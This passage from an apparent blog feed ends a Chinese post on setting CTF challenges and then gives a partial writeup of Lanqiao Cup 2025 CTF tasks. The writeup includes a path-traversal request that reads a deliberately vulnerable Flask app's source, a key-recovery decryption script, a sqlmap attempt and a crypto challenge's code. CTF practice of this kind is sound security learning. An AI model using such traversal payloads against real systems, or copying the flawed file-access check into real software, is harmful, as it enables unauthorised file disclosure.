是有意义的一句话</p></blockquote><p>因为第二天要打蓝桥杯了（蓝桥的网安是屎，别报！信我！），所以我睡得比较早，早上起来一看已经有两个队伍做出来了，挺好的</p><h2 id="第二批"><a href="#第二批" class="headerlink" title="第二批"></a>第二批</h2><p>第二批我给的题目有这些</p><ul><li>[easy*2] [normal] Herta’s Voidterm</li><li>[normal] [hard] 登录 PRTS</li><li>[easy] Data Analysis</li><li>[easy] Is It Really Secure??</li></ul><p>当我打完蓝桥杯的时候，登录 QQ 和微信发现群里有人艾特我，说 PRTS 题目出了问题</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/rUIiQqMjy5.png"></p><p>一看，发现是我忘记删掉注释了</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250426132318.png"></p><p>好吧，重新弄了一下上线了……</p><p>我其实没太想到本次的 Herta’s Voidterm 能够难住不少人</p><p>第一问很简单，<code>env</code> 一下就出来了，这个没啥问题，但是第二问好像大伙都不知道域名还有 <code>TXT</code> 类型记录可以用来存内容</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/KRVg1zUdpd.png"></p><p>后面也是加了点提示</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/msedge_S9TmfKudv5.png"></p><p>然后第三问因为我看到提交记录里面有交 AES 的向量的</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/msedge_AbRzcHlYU6.png"></p><p>于是我也给第三问来了点提示</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/msedge_wNMkOODMTU.png"></p><p>说到简单题，还有一个简单题 <code>Is It Really Secure??</code>，我特意在 ftp 里面留了坑，我的 ftp 认证密码是 <code>my-Str0ng_p@55w0Rd</code></p><p>然后真有队伍交了 <code>flag&#123;my-Str0ng_p@55w0Rd&#125;</code></p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/msedge_ewrcjDRF9Y.png"></p><p>看来这坑没白埋 (*^▽^*)</p><p>当然，还有中第二个坑的</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/QQ_nfcdYXanXz.png"></p><p>估计可能大伙不知道什么叫 ZIP 伪加密吧</p><p>不过这一部分最令我开心的应该是 PRTS 有人做，而且有人出（虽然只出了第一题）</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/QQ_Bi88eAhCvd.png"></p><p>然后有个哥们想复杂了</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/QQ_lXOBLI8yjV.png"></p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/QQ_lRJbb3duoc.png"></p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/QQ_eKdOUJDqzb.png"></p><p>我寻思我也没有 <code>import pickle</code> 啊 🤔</p><p>当然，在多方面的提示下，有一个队伍出了 PRTS 2</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/Telegram_SmbNTJKxvW.png"></p><p>有人能对上电波我还是很开心的，不仅这题，黑塔终端 3 也有人对上电波了</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/Telegram_hWFJaeSa7d.png"></p><p>可能是一张图两用太难想了？还有就是估计很多队伍第一问看到 SECRET 没当回事</p><p>Data Analysis 那个题目，我题目的要求是对内容进行 md5 计算，不过我当时是把文件丢进赛博厨子计算的，然后可能是不同系统对剪贴板的处理不一样，有人用 macOS 在数据正确的前提下出了错误的答案</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/M8E7NKGcoG.png"></p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/XhGLyXguCN.png"></p><p>看来下次还是不能省掉检验用的那个网页 &#x3D;-&#x3D;</p><h2 id="第三批"><a href="#第三批" class="headerlink" title="第三批"></a>第三批</h2><p>第三批是难度比较高的，我的题目有这些</p><ul><li>[expert*2] [master] Play CS with Me</li><li>[normal] Data from Log</li></ul><p>因为劳动节补课，周日要上课，原定周日早上十点放题目的，放到了周六晚上七点放了</p><p>这里首先要给参赛选手道歉的是，我在题目 Data from Log 的附件里面给的 <code>README.md</code> 写的跟题目详情页面不一样，在这里向各位道个歉 orz</p><p>Data from Log 涉及到了从阿帕奇的日志中恢复数据，这题是从羊城杯偷的，所以数据上没什么好说的</p><p>不过让我欣喜的是 Play CS with Me 没有爆零，第一题有人在提示下出了</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/QQ_gKtx9gW3F1.png"></p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/QQ_QutpHcoUpz.png"></p><p>这个搜索能力挺不错的，在这里表扬一下 (๑•̀ㅂ•́)و✧</p><p>当然也少不了跳我挖好的坑</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/yC4c07N5H3.png"></p><p>说实话，我也想改这个 <code>evil.exe</code> 为其他更具有迷惑力的名字，但是不管我怎么保存那个代表 beacon 的 hta 文件，这里都不会变，可能是 hta 类型文件最后在这里显示固定为 <code>evil.exe</code> 吧，这点我确实不太清楚</p><p>接着这个队伍又继续攻克第二问，但是但是，他们找的教程实在是……戛然而止</p><p>他们找的是这一篇：<a href="https://www.freebuf.com/articles/system/327060.html">https://www.freebuf.com/articles/system/327060.html</a></p><p>然后我还是提醒了一嘴</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/mWuQfVOaIN.png"></p><p>他们应该是搜到后续了，快出了——确实出了，最后一分钟</p><p><img src="https://assets.bili33.top/img/The-First-experience-of-Making-CTF-Questions/Telegram_o8ELZlUCxM.png"></p><p>好极限，恭喜这个队伍用 Play CS with Me 1 和 2 超过了原来的第一</p><h1 id="收-Writeup"><a href="#收-Writeup" class="headerlink" title="收 Writeup"></a>收 Writeup</h1><p>比赛完了以后最爽的应该是看各个队伍的 wp 了，看看他们有没有按照我们预定的思路去做题，其实大部分都是按照我的想法来的，不过也有一些跟我用的工具不太一样</p><p>例如说 base 那个题目，有一队就用的不是 basecrack 而是用的随波逐流，也是让我第一次知道随波逐流还有这功能了</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>所以以上就是本次出题的经历啦，后面应该还会出更多的题目的٩(๑^o^๑)۶</p><p>下次再有出题的话再写这样的记录吧</p><h1 id="题目源码"><a href="#题目源码" class="headerlink" title="题目源码"></a>题目源码</h1><ul><li>【MISC】Herta’s Voidterm <a href="https://github.com/GDUTMeow/Challenge-Hertas-Voidterm">https://github.com/GDUTMeow/Challenge-Hertas-Voidterm</a></li><li>【DS】Data from Log <a href="https://github.com/GDUTMeow/Challenge-Data-from-Log">https://github.com/GDUTMeow/Challenge-Data-from-Log</a></li><li>【Web】登录 PRTS <a href="https://github.com/GDUTMeow/Challenge-Login-PRTS">https://github.com/GDUTMeow/Challenge-Login-PRTS</a></li><li>【Forensic】Is It Really Secure?? <a href="https://github.com/GDUTMeow/Challenge-Is-It-Really-Secure">https://github.com/GDUTMeow/Challenge-Is-It-Really-Secure</a></li><li>【DS】Data Analysis <a href="https://github.com/GDUTMeow/Challenge-Data-Analysis">https://github.com/GDUTMeow/Challenge-Data-Analysis</a></li><li>【DS】Data Cleaning <a href="https://github.com/GDUTMeow/Challenge-DataCleaning">https://github.com/GDUTMeow/Challenge-DataCleaning</a></li><li>【MISC】为什么要演奏春日影！ <a href="https://github.com/GDUTMeow/Challenge-Haruhikage">https://github.com/GDUTMeow/Challenge-Haruhikage</a></li><li>【Web】Dino <a href="https://github.com/GDUTMeow/Challenge-Dino">https://github.com/GDUTMeow/Challenge-Dino</a></li><li>【Forensic】ez_traffic <a href="https://github.com/GDUTMeow/Challenge-eztraffic">https://github.com/GDUTMeow/Challenge-eztraffic</a></li><li>【Crypto】你真的懂 Base 嘛 <a href="https://github.com/GDUTMeow/Challenge-Do-You-Really-Know-Base">https://github.com/GDUTMeow/Challenge-Do-You-Really-Know-Base</a></li><li>【Forensic】Play CS with Me <a href="https://github.com/GDUTMeow/Challenge-Play-CS-with-Me">https://github.com/GDUTMeow/Challenge-Play-CS-with-Me</a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="Misc" scheme="https://bili33.top/categories/Misc/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="Diary" scheme="https://bili33.top/tags/Diary/"/>
    
  </entry>
  
  <entry>
    <title>第十六届蓝桥杯省赛个人 Writeup</title>
    <link href="https://bili33.top/posts/Lanqiao-CTF-2025-District-Round-Writeup/"/>
    <id>https://bili33.top/posts/Lanqiao-CTF-2025-District-Round-Writeup/</id>
    <published>2025-04-26T07:06:47.000Z</published>
    <updated>2026-03-31T05:59:59.346Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><div class="note info flat"><p>先吐槽一波：初赛不让上网查资料是人打的嘛，真就初赛即决赛？？？还不是传统出题法，你那堆分类谁第一眼能看出来是什么题目啊？？？</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/msedge_wjPSox8dNk.png"></p><p>我不信这比赛没有人用黄色版 CTF-all-in-One 好吧，一题出来了以后一堆人跟着出，一分钟内零解题出 5 个人是吧</p><p>然后说是不让用网，结果又发通知说有一题可以用 &#x3D;-&#x3D;</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/chrome_WW22ywgVfn.png"></p><p>好好好玩我呢是吧</p><p>累了，事不过三，以后不报蓝桥了。蓝桥参加第三次了，前两次 Python 算法，今年第一次参加网安，太抽象了</p><p>我 TM 周末早八起来到底是为了啥哟 (┬＿┬)</p><p>我的评价是：不如 CCSSSC，人平台虽然屎但是人比赛办的还不错啊，建议你下次别办</p></div><h1 id="【数据分析】flowzip"><a href="#【数据分析】flowzip" class="headerlink" title="【数据分析】flowzip"></a>【数据分析】flowzip</h1><blockquote><p>There are many zip files.</p></blockquote><p>打开流量包发现大量 HTTP 请求，里面包含 100 个 zip 文件</p><div class="note success flat"><p>高端的食材，往往只需要最朴素的烹饪方式</p></div><p>直接用 strings 提取</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">strings .\flowzip.pcapng | grep flag</span></span><br></pre></td></tr></table></figure><p>得到 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jpkwz.txtflag&#123;c6db63e6-6459-4e75-bb37-3aec5d2b947b&#125;PK</span><br></pre></td></tr></table></figure><p>所以 flag 为 <code>flag&#123;c6db63e6-6459-4e75-bb37-3aec5d2b947b&#125;</code></p><h1 id="【数据分析】ezEvtx"><a href="#【数据分析】ezEvtx" class="headerlink" title="【数据分析】ezEvtx"></a>【数据分析】ezEvtx</h1><blockquote><p>EVTX文件是Windows操作系统生成的事件日志文件，用于记录系统、应用程序和安全事件。</p><p>（本题需要选手找出攻击者访问成功的一个敏感文件，提交格式为flag{文件名}，其中文件名不包含文件路径，且包含文件后缀）</p></blockquote><p>用 ELX 打开，搜索 <code>access an object</code> 就得到了</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/image-20250426110439419.png"></p><p>访问的文件为 <code>C:\Admin\confidential.docx</code>，所以 flag 为 <code>flag&#123;confidential.docx&#125;</code></p><h1 id="【情报收集】黑客密室逃脱"><a href="#【情报收集】黑客密室逃脱" class="headerlink" title="【情报收集】黑客密室逃脱"></a>【情报收集】黑客密室逃脱</h1><blockquote><p>你被困在了顶级黑客精心设计的数字牢笼中，每一道关卡都暗藏致命陷阱！唯一的逃脱之路，是破解散落在服务器各处的加密线索，找到最终的“数字钥匙”。</p></blockquote><p>开局让我们看日志</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/msedge_xox5OWUySg.png"></p><p>访问得到线索</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/msedge_M92dK8w3qq.png"></p><p>线索1：<code>d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1</code></p><p>秘密区域告诉我们有文件读取</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/msedge_Nn6WNJ60iy.png"></p><p>输入 <code>/file?name=../../../../../../app/app.py</code> 得到源码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request, render_template</span><br><span class="line"><span class="keyword">from</span> config <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># author: gamelab</span></span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 模拟敏感信息</span></span><br><span class="line">sensitive_info = SENSITIVE_INFO</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加密密钥</span></span><br><span class="line">encryption_key = ENCRYPTION_KEY</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">simple_encrypt</span>(<span class="params">text, key</span>):</span><br><span class="line">    encrypted = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(text)):</span><br><span class="line">        char = text[i]</span><br><span class="line">        key_char = key[i % <span class="built_in">len</span>(key)]</span><br><span class="line">        encrypted.append(<span class="built_in">ord</span>(char) + <span class="built_in">ord</span>(key_char))</span><br><span class="line">    <span class="keyword">return</span> encrypted.<span class="built_in">hex</span>()</span><br><span class="line"></span><br><span class="line">encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 模拟日志文件内容</span></span><br><span class="line">log_content = <span class="string">f&quot;用户访问了 /secret 页面，可能试图获取 <span class="subst">&#123;encrypted_sensitive_info&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 模拟隐藏文件内容</span></span><br><span class="line">hidden_file_content = <span class="string">f&quot;解密密钥: <span class="subst">&#123;encryption_key&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定安全的文件根目录</span></span><br><span class="line">SAFE_ROOT_DIR = os.path.abspath(<span class="string">&#x27;/app&#x27;</span>)</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(os.path.join(SAFE_ROOT_DIR, <span class="string">&#x27;hidden.txt&#x27;</span>), <span class="string">&#x27;w&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    f.write(hidden_file_content)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>():</span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;index.html&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/logs&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">logs</span>():</span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;logs.html&#x27;</span>, log_content=log_content)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/secret&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">secret</span>():</span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;secret.html&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/file&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">file</span>():</span><br><span class="line">    file_name = request.args.get(<span class="string">&#x27;name&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> file_name:</span><br><span class="line">        <span class="keyword">return</span> render_template(<span class="string">&#x27;no_file_name.html&#x27;</span>)</span><br><span class="line">    full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> full_path.startswith(SAFE_ROOT_DIR) <span class="keyword">or</span> <span class="string">&#x27;config&#x27;</span> <span class="keyword">in</span> full_path:</span><br><span class="line">        <span class="keyword">return</span> render_template(<span class="string">&#x27;no_premission.html&#x27;</span>)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(full_path, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            content = f.read()</span><br><span class="line">        <span class="keyword">return</span> render_template(<span class="string">&#x27;file_content.html&#x27;</span>, content=content)</span><br><span class="line">    <span class="keyword">except</span> FileNotFoundError:</span><br><span class="line">        <span class="keyword">return</span> render_template(<span class="string">&#x27;file_not_found.html&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(debug=<span class="literal">True</span>, host=<span class="string">&#x27;0.0.0.0&#x27;</span>)</span><br></pre></td></tr></table></figure><p><code>debug = True</code>，想访问 <code>/console</code>，打不开</p><p>看到有 <code>hidden.txt</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 指定安全的文件根目录</span></span><br><span class="line">SAFE_ROOT_DIR = os.path.abspath(<span class="string">&#x27;/app&#x27;</span>)</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(os.path.join(SAFE_ROOT_DIR, <span class="string">&#x27;hidden.txt&#x27;</span>), <span class="string">&#x27;w&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    f.write(hidden_file_content)</span><br></pre></td></tr></table></figure><p>得到解密密钥</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/msedge_mXFDYMQvGL.png"></p><p>根据题目给的 <code>simple_encrypt</code> 函数</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">simple_encrypt</span>(<span class="params">text, key</span>):</span><br><span class="line">    encrypted = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(text)):</span><br><span class="line">        char = text[i]</span><br><span class="line">        key_char = key[i % <span class="built_in">len</span>(key)]    <span class="comment"># key=secret_key7434 len(key)=14 key_char=从左到右依次取</span></span><br><span class="line">        encrypted.append(<span class="built_in">ord</span>(char) + <span class="built_in">ord</span>(key_char))</span><br><span class="line">    <span class="keyword">return</span> encrypted.<span class="built_in">hex</span>()</span><br></pre></td></tr></table></figure><p>自己写一个解密的脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">SECRET = <span class="built_in">bytearray</span>.fromhex(<span class="string">&#x27;d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1&#x27;</span>)</span><br><span class="line"></span><br><span class="line">key = <span class="string">&quot;secret_key7434&quot;</span></span><br><span class="line"></span><br><span class="line">decrypted = <span class="built_in">bytearray</span>()</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(SECRET)):</span><br><span class="line">    char = SECRET[i]</span><br><span class="line">    key_char = key[i % <span class="built_in">len</span>(key)]</span><br><span class="line">    decrypted.append(char - <span class="built_in">ord</span>(key_char))</span><br><span class="line">    </span><br><span class="line"><span class="built_in">print</span>(decrypted)</span><br></pre></td></tr></table></figure><p>解出来得到 flag</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/Code_FG7CUrjHSc.png"></p><p><code>flag&#123;6d037fe6-0329-449a-b529-71142b80a470&#125;</code></p><h1 id="【数据库安全】crawler（未出）"><a href="#【数据库安全】crawler（未出）" class="headerlink" title="【数据库安全】crawler（未出）"></a>【数据库安全】crawler（未出）</h1><blockquote><p>一个简单的爬虫系统，测测它的安全问题吧！</p></blockquote><p>是一个用 PHP 写的系统，Cookie 里面有 <code>PHPSESSID</code> </p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/msedge_eNjXaV2nqm.png"></p><p>打开是个登录页面，发现只有使用用户名为 <code>admin</code> 登录的时候会弹提示为 <code>❌ 用户名或密码错误</code>，其他用户名都是 <code>❌ 登录失败</code></p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/Yakit_D86X3HHI2c.png"></p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/Yakit_nvf2Ex7CBg.png"></p><p>爆破不出来，尝试一下 sql 注入，用 sqlmap 浅浅测一下，发现 sqlmap 说无法注入</p><p><img src="https://assets.bili33.top/img/Lanqiao-CTF-2025-District-Round-Writeup/vmware_I9jTvObLHW.png"></p><p>那好吧，我确实没思路了</p><h1 id="【密码破解】easy-AES（未出）"><a href="#【密码破解】easy-AES（未出）" class="headerlink" title="【密码破解】easy_AES（未出）"></a>【密码破解】easy_AES（未出）</h1><blockquote><p>题目采用的是传统的AES加密，但是其中的key似乎可以通过爆破得到，你能找到其中的问题，解密出敏感数据吗？</p></blockquote><p>题目给了源码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES  <span class="comment"># 导入AES加密模块</span></span><br><span class="line"><span class="keyword">from</span> secret <span class="keyword">import</span> flag       <span class="comment"># 从secret模块导入flag（假设为明文）</span></span><br><span class="line"><span class="keyword">import</span> random, os             <span class="comment"># 导入random和os模块用于随机数生成</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 为消息填充字节，使其长度为16的倍数</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pad</span>(<span class="params">msg</span>):</span><br><span class="line">    <span class="keyword">return</span> msg + <span class="built_in">bytes</span>([<span class="number">16</span> - <span class="built_in">len</span>(msg) % <span class="number">16</span> <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span> - <span class="built_in">len</span>(msg) % <span class="number">16</span>)])</span><br><span class="line"></span><br><span class="line"><span class="comment"># 对密钥进行随机置换，生成新密钥</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">permutation</span>(<span class="params">key</span>):</span><br><span class="line">    tables = [<span class="built_in">hex</span>(_)[<span class="number">2</span>:] <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>)]  <span class="comment"># 生成0-15的十六进制表（去掉&quot;0x&quot;前缀）</span></span><br><span class="line">    random.shuffle(tables)                    <span class="comment"># 随机打乱表</span></span><br><span class="line">    newkey = <span class="string">&quot;&quot;</span>.join(tables[<span class="built_in">int</span>(key[_], <span class="number">16</span>)] <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(key)))  <span class="comment"># 根据原密钥生成新密钥</span></span><br><span class="line">    <span class="keyword">return</span> newkey</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成初始密钥key0及其置换密钥key1</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">gen</span>():</span><br><span class="line">    key0 = os.urandom(<span class="number">16</span>).<span class="built_in">hex</span>()  <span class="comment"># 随机生成16字节密钥并转为十六进制字符串</span></span><br><span class="line">    key1 = permutation(key0)     <span class="comment"># 对key0进行置换生成key1</span></span><br><span class="line">    <span class="keyword">return</span> key0, key1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用key0和key1进行双重AES加密</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encrypt</span>(<span class="params">key0, key1, msg</span>):</span><br><span class="line">    aes0 = AES.new(key0, AES.MODE_CBC, key1)  <span class="comment"># 用key0加密，key1作为CBC模式的IV</span></span><br><span class="line">    aes1 = AES.new(key1, AES.MODE_CBC, key0)  <span class="comment"># 用key1解密，key0作为CBC模式的IV</span></span><br><span class="line">    <span class="keyword">return</span> aes1.decrypt(aes0.encrypt(msg))    <span class="comment"># 先加密后解密生成密文</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成密钥对</span></span><br><span class="line">key0, key1 = gen()</span><br><span class="line">a0, a1 = <span class="built_in">int</span>(key0, <span class="number">16</span>), <span class="built_in">int</span>(key1, <span class="number">16</span>)  <span class="comment"># 将密钥转为整数</span></span><br><span class="line"></span><br><span class="line">gift = a0 &amp; a1  <span class="comment"># 计算key0和key1的按位与，作为泄露信息</span></span><br><span class="line">cipher = encrypt(<span class="built_in">bytes</span>.fromhex(key0), <span class="built_in">bytes</span>.fromhex(key1), pad(flag))  <span class="comment"># 加密填充后的flag</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;gift = <span class="subst">&#123;gift&#125;</span>&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;key1 = <span class="subst">&#123;key1&#125;</span>&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;cipher = <span class="subst">&#123;cipher&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">gift = 64698960125130294692475067384121553664</span></span><br><span class="line"><span class="string">key1 = 74aeb356c6eb74f364cd316497c0f714</span></span><br><span class="line"><span class="string">cipher = b&#x27;6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|&gt;\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6&#x27;</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><div class="note info flat"><p>出题人是不是懒得写代码了，这代码 AI 味也太浓了，连 <code>（假设为明文）</code> 都出来了（第二行）</p></div><p>首先可以看到题目生成了一对密钥，其中 key0 